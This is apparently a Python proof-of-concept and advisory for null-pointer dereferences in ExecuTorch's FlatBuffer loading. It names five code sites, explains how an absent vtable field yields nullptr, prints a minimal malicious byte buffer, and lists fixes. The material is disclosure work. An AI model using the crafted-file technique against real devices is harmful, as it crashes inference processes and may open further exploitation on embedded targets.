| |
| """ |
| ExecuTorch Null Pointer Dereferences from Unverified FlatBuffer Fields (CWE-476) |
| ================================================================================== |
| |
| Target: ExecuTorch (pytorch/executorch) |
| Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd |
| |
| Affected Files: |
| - runtime/executor/method.cpp:150 |
| compile_specs_in_program->size() when compile_specs is null |
| https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L150 |
| |
| - runtime/executor/method.cpp:180 |
| processed->location() when processed is null |
| https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L180 |
| |
| - runtime/executor/program.cpp:454 |
| data_list->size() when backend_delegate_data() is null |
| https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L454 |
| |
| - extension/flat_tensor/flat_tensor_data_map.cpp:93-97 |
| sizes->size() / dim_order->size() when fields are null |
| https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/extension/flat_tensor/flat_tensor_data_map.cpp#L93-L97 |
| |
| CWE-476: NULL Pointer Dereference |
| |
| Description: |
| FlatBuffer accessor methods return nullptr when an optional field is not |
| present in the serialized data. ExecuTorch code accesses many of these |
| optional fields without null checks, assuming the data is always well-formed. |
| |
| Since ExecuTorch uses only Verification::Minimal (magic check) by default |
| and FlatTensor/BundledProgram have NO verification, a malicious file can |
| omit any optional field to trigger null pointer dereferences. |
| |
| In FlatBuffers schema, most fields are optional by default (they have a |
| default value or are represented as offset fields that can be 0/absent). |
| |
| Impact: |
| Denial of Service via crash. On embedded/bare-metal targets (ExecuTorch's |
| primary use case), a null deref may not be caught by memory protection, |
| potentially leading to undefined behavior or exploitable conditions. |
| """ |
|
|
| import struct |
| import sys |
|
|
|
|
| class FlatBufferField: |
| """Represents a FlatBuffer field that may be optional/nullable.""" |
| def __init__(self, name: str, field_type: str, is_optional: bool, |
| schema_default=None): |
| self.name = name |
| self.field_type = field_type |
| self.is_optional = is_optional |
| self.schema_default = schema_default |
|
|
|
|
| class NullDerefSite: |
| """Represents a location where a null FlatBuffer field is dereferenced.""" |
| def __init__(self, file: str, line: int, expression: str, |
| null_field: str, access_on_null: str, |
| parent_type: str, notes: str = ""): |
| self.file = file |
| self.line = line |
| self.expression = expression |
| self.null_field = null_field |
| self.access_on_null = access_on_null |
| self.parent_type = parent_type |
| self.notes = notes |
|
|
|
|
| def analyze_flatbuffer_schema(): |
| """ |
| Analyze which FlatBuffer fields are optional and can return nullptr. |
| |
| In FlatBuffers: |
| - Table fields accessed via table->field() return nullptr if absent |
| - Vector fields return nullptr if the vector is absent |
| - Scalar fields have defaults and never return nullptr |
| - String fields return nullptr if absent |
| """ |
| |
| optional_fields = { |
| "Program": [ |
| FlatBufferField("execution_plan", "Vector<ExecutionPlan>", True), |
| FlatBufferField("constant_buffer", "Vector<Buffer>", True), |
| FlatBufferField("backend_delegate_data", "Vector<BackendDelegateDataReference>", True), |
| FlatBufferField("segments", "Vector<DataSegment>", True), |
| ], |
| "ExecutionPlan": [ |
| FlatBufferField("delegates", "Vector<BackendDelegate>", True), |
| FlatBufferField("chains", "Vector<Chain>", True), |
| FlatBufferField("values", "Vector<EValue>", True), |
| FlatBufferField("inputs", "Vector<int>", True), |
| FlatBufferField("outputs", "Vector<int>", True), |
| FlatBufferField("operators", "Vector<Operator>", True), |
| ], |
| "BackendDelegate": [ |
| FlatBufferField("compile_specs", "Vector<CompileSpec>", True), |
| FlatBufferField("processed", "BackendDelegateDataReference", True), |
| ], |
| "BackendDelegateDataReference": [ |
| FlatBufferField("location", "DataLocation", False, "INLINE"), |
| ], |
| "FlatTensor.TensorMetadata": [ |
| FlatBufferField("sizes", "Vector<int64>", True), |
| FlatBufferField("dim_order", "Vector<uint8>", True), |
| FlatBufferField("fully_qualified_name", "String", True), |
| ], |
| } |
| return optional_fields |
|
|
|
|
| def main(): |
| print("=" * 78) |
| print("ExecuTorch Null Pointer Dereferences from Unverified FlatBuffer Fields") |
| print("CWE-476: NULL Pointer Dereference") |
| print("=" * 78) |
| print() |
|
|
| |
| sites = [ |
| NullDerefSite( |
| file="runtime/executor/method.cpp", |
| line=150, |
| expression="compile_specs_in_program->size()", |
| null_field="delegate->compile_specs()", |
| access_on_null="->size()", |
| parent_type="BackendDelegate", |
| notes=( |
| "Code: auto compile_specs_in_program = delegate->compile_specs();\n" |
| " for (size_t j = 0; j < compile_specs_in_program->size(); j++) {\n" |
| "\n" |
| "If the BackendDelegate has no compile_specs field in the FlatBuffer,\n" |
| "delegate->compile_specs() returns nullptr. Calling ->size() on nullptr\n" |
| "is a null pointer dereference." |
| ) |
| ), |
| NullDerefSite( |
| file="runtime/executor/method.cpp", |
| line=180, |
| expression="processed->location()", |
| null_field="delegate->processed()", |
| access_on_null="->location()", |
| parent_type="BackendDelegate", |
| notes=( |
| "Code: auto processed = delegate->processed();\n" |
| " if (processed->location() == DataLocation::INLINE) {\n" |
| "\n" |
| "If 'processed' is a null BackendDelegateDataReference, calling\n" |
| "->location() dereferences nullptr." |
| ) |
| ), |
| NullDerefSite( |
| file="runtime/executor/program.cpp", |
| line=454, |
| expression="data_list->size()", |
| null_field="program->backend_delegate_data()", |
| access_on_null="->size()", |
| parent_type="Program", |
| notes=( |
| "Code: auto data_list = program->backend_delegate_data();\n" |
| " for (size_t i = 0; i < data_list->size(); i++) {\n" |
| "\n" |
| "If the Program flatbuffer has no backend_delegate_data field,\n" |
| "the accessor returns nullptr, and ->size() crashes." |
| ) |
| ), |
| NullDerefSite( |
| file="extension/flat_tensor/flat_tensor_data_map.cpp", |
| line=93, |
| expression="sizes->size()", |
| null_field="tensor_metadata->sizes()", |
| access_on_null="->size()", |
| parent_type="FlatTensor.TensorMetadata", |
| notes=( |
| "Code: auto* sizes = tensor_metadata->sizes();\n" |
| " auto* dim_order = tensor_metadata->dim_order();\n" |
| " size_t num_dims = sizes->size();\n" |
| "\n" |
| "Both sizes() and dim_order() are optional vector fields.\n" |
| "If either is absent, the pointer is null and ->size() crashes.\n" |
| "This is in the .ptd (FlatTensor) loading path which has\n" |
| "NO FlatBuffer verification at all (only magic check)." |
| ) |
| ), |
| NullDerefSite( |
| file="extension/flat_tensor/flat_tensor_data_map.cpp", |
| line=97, |
| expression="dim_order->size()", |
| null_field="tensor_metadata->dim_order()", |
| access_on_null="->size()", |
| parent_type="FlatTensor.TensorMetadata", |
| notes=( |
| "Code: ET_CHECK_OR_RETURN_ERROR(\n" |
| " sizes->size() == dim_order->size(), ...);\n" |
| "\n" |
| "Even if sizes is non-null, dim_order can independently be null.\n" |
| "Null dim_order causes crash when comparing sizes." |
| ) |
| ), |
| ] |
|
|
| |
| |
| |
| for i, site in enumerate(sites): |
| print(f"-" * 78) |
| print(f"NULL DEREF #{i+1}: {site.file}:{site.line}") |
| print(f"-" * 78) |
| print() |
| print(f" Expression: {site.expression}") |
| print(f" Null field: {site.null_field}") |
| print(f" Access: {site.access_on_null}") |
| print(f" Parent type: {site.parent_type}") |
| print() |
| print(f" Details:") |
| for line in site.notes.split("\n"): |
| print(f" {line}") |
| print() |
|
|
| |
| |
| |
| print("=" * 78) |
| print("FLATBUFFER OPTIONAL FIELD ANALYSIS") |
| print("=" * 78) |
| print() |
|
|
| schema = analyze_flatbuffer_schema() |
| for type_name, fields in schema.items(): |
| print(f" {type_name}:") |
| for field in fields: |
| nullable = "NULLABLE (returns nullptr if absent)" if field.is_optional else "non-null (scalar/required)" |
| print(f" .{field.name}() -> {field.field_type:45s} {nullable}") |
| print() |
|
|
| |
| |
| |
| print("=" * 78) |
| print("SIMULATION: Crafting a malicious .pte with null fields") |
| print("=" * 78) |
| print() |
|
|
| print(" FlatBuffer encoding of a null/absent field:") |
| print() |
| print(" In the vtable, each field has a 2-byte offset entry.") |
| print(" If this offset is 0, the field is 'not present' and the") |
| print(" accessor returns nullptr (for tables/vectors/strings).") |
| print() |
| print(" Normal vtable entry for 'compile_specs' field:") |
| print(" vtable[field_index] = 12 // offset 12 from table start") |
| print(" -> compile_specs() returns pointer to Vector at table+12") |
| print() |
| print(" Malicious vtable entry:") |
| print(" vtable[field_index] = 0 // field absent") |
| print(" -> compile_specs() returns nullptr") |
| print(" -> code calls nullptr->size() = CRASH") |
| print() |
|
|
| |
| print(" Minimal FlatBuffer bytes demonstrating null field:") |
| print() |
|
|
| |
| |
| |
| vtable = struct.pack("<HHHH", 8, 8, 0, 0) |
| table_soffset = struct.pack("<i", -(len(vtable))) |
|
|
| |
| root_offset = 4 + 4 + len(vtable) |
| header = struct.pack("<I", root_offset) |
| magic = b"ET12" |
|
|
| buf = header + magic + vtable + table_soffset |
| print(f" ", " ".join(f"{b:02X}" for b in buf)) |
| print() |
| print(f" Bytes 0-3: root_offset = {root_offset} (points to table)") |
| print(f" Bytes 4-7: magic = 'ET12'") |
| print(f" Bytes 8-9: vtable_size = 8") |
| print(f" Bytes 10-11: table_size = 8") |
| print(f" Bytes 12-13: field[0] offset = 0 (ABSENT -> nullptr)") |
| print(f" Bytes 14-15: field[1] offset = 0 (ABSENT -> nullptr)") |
| print(f" Bytes 16-19: table soffset -> vtable") |
| print() |
| print(" When any accessor is called for field[0] or field[1],") |
| print(" FlatBuffers returns nullptr. ExecuTorch code dereferences it.") |
| print() |
|
|
| |
| |
| |
| print("=" * 78) |
| print("IMPACT ON EMBEDDED/BARE-METAL TARGETS") |
| print("=" * 78) |
| print() |
| print(" ExecuTorch is designed for edge/embedded deployment including:") |
| print(" - Mobile devices (Android/iOS)") |
| print(" - Microcontrollers (Cortex-M, RISC-V)") |
| print(" - DSPs and custom accelerators") |
| print() |
| print(" On these platforms:") |
| print(" - MMU may not be present (bare metal) -> null deref reads address 0") |
| print(" - No SIGSEGV handler -> undefined behavior, not clean crash") |
| print(" - Address 0 may be valid memory (interrupt vector table)") |
| print(" - Null deref can potentially be exploited for code execution") |
| print() |
| print(" Even on platforms with MMU (mobile), the null deref causes DoS") |
| print(" by crashing the inference process with a malicious model file.") |
| print() |
|
|
| |
| |
| |
| print("=" * 78) |
| print("SUMMARY") |
| print("=" * 78) |
| print() |
| print(f" {len(sites)} null pointer dereference sites identified where optional") |
| print(" FlatBuffer fields are accessed without null checks:") |
| print() |
| for i, site in enumerate(sites): |
| print(f" {i+1}. {site.file}:{site.line} — {site.expression}") |
| print() |
| print(" Root cause: ExecuTorch assumes FlatBuffer data is well-formed") |
| print(" but only performs magic-byte verification by default.") |
| print() |
| print(" Fix options:") |
| print(" 1. Add null checks before every optional field access") |
| print(" 2. Enable full FlatBuffer verification (VerifyProgramBuffer)") |
| print(" 3. Use FlatBuffers 'required' attribute in schema for critical fields") |
| print(" 4. Add a validation pass that checks all required fields are present") |
|
|
| return 1 |
|
|
|
|
| if __name__ == "__main__": |
| sys.exit(main()) |
|
|